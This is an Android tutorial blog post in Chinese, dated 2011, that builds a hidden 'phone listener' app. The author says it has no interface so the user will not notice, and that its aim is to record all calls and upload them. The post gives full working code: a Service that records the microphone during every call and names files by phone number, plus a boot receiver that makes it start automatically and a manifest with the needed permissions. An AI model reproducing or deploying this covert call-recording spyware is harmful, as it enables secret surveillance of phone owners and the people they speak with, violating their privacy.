Android实现电话监听器应用开发,一个Android练手小项目,通过一个BroadcastReceiver广播接收者监听手机启动状态,实现开机启动。
因为是电话监听器,所以我们不能让用户察觉,所以不能有软件界面,这是要点,不然也不叫监听器了,主要实现的功能有对所有语音通话进行录制并上传到网上,好了,不废话了,下面一步一步地写……
首先,我们先来了解一下Service服务
public class PhoneListenerService extends Service {...}
<service android:name="PhoneListenerService"></service>
onCreate() //该方法在服务被创建时调用,该方法只会被调用一次,无论调用多少次startService() 或bindService()方法,服务也只被创建一次。
onDestroy()//该方法在服务被终止时调用。
package com.studio.listener;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;
public class PhoneListenerService extends Service {
private String TAG = "PhoneListenerService";//这里设置一个Log标志,方便于调试
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
/**
* 此处复写onCreate()方法,当这个服务被创建的时候就实现监听
*/
@Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate();
/* 取得电话服务 */
TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
PhoneStateListener listener = new PhoneStateListener() {
private String number;//定义一个监听电话号码
private boolean isRecord;//定义一个当前是否正在复制的标志
private MediaRecorder recorder;//媒体复制类
@Override
public void onCallStateChanged(int state, String incomingNumber) {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:/* 无任何状态 */
number = null;
if (recorder != null && isRecord) {
Log.i(TAG, "录音完成");//设定一个录音完成的标志,方便调试
recorder.stop();//录音完成
recorder.reset();
recorder.release();
isRecord = false;//录音完成,改变状态标志
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK:/* 接起电话 */
// 录制声音,这是录音的核心代码
try {
Log.i(TAG, "开始录音");
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);// 定义声音来自于麦克风
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//我们定义存储格式为3gp
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//定我编码
SimpleDateFormat format = new SimpleDateFormat("yyMMddHHmmss");//此处定义一个format类,方便对录音文件进行命名
String fileName = this.number + "_" + format.format(new Date());
/* 定义录音文件的输出路径,这里我们先保存到sdcard */
recorder.setOutputFile(Environment.getExternalStorageDirectory().getAbsolutePath()+ "/" + fileName + ".3gp");
recorder.prepare();
recorder.start(); // 开始刻录
isRecord = true;
} catch (Exception e) {
Log.e(TAG, e.toString());
}
break;
case TelephonyManager.CALL_STATE_RINGING:/* 电话进来 */
this.number = incomingNumber;
break;
default:
break;
}
}
};
// 监听电话的状态
telManager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
Log.i(TAG, "服务已经启动");
}
}
<service android:name="PhoneListenerService"></service>
package com.studio.listener;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class BootBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
Intent service = new Intent(context, PhoneListenerService.class);//定义一个意图
context.startService(service);//开启服务
}
}
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.studio.listener"
android:versionCode="1"
android:versionName="1.0">
<uses-sdk android:minSdkVersion="10" />
<!-- 对外部存储设备的写入权限 -->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses-permission>
<!-- 对外部文件的写入和删除权限 -->
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"></uses-permission>
<!-- 音频刻录权限 -->
<uses-permission android:name="android.permission.RECORD_AUDIO"></uses-permission>
<!-- 接收手机完全开启状态权限 -->
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission>
<!-- 读取电话状态权限 -->
<uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission>
<application android:icon="@drawable/icon" android:label="@string/app_name">
<service android:name="PhoneListenerService"></service>
<receiver android:name="BootBroadcastReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"></action>
</intent-filter>
</receiver>
</application>
</manifest>
2011/9/11 0:44:39 | android开发教程 | |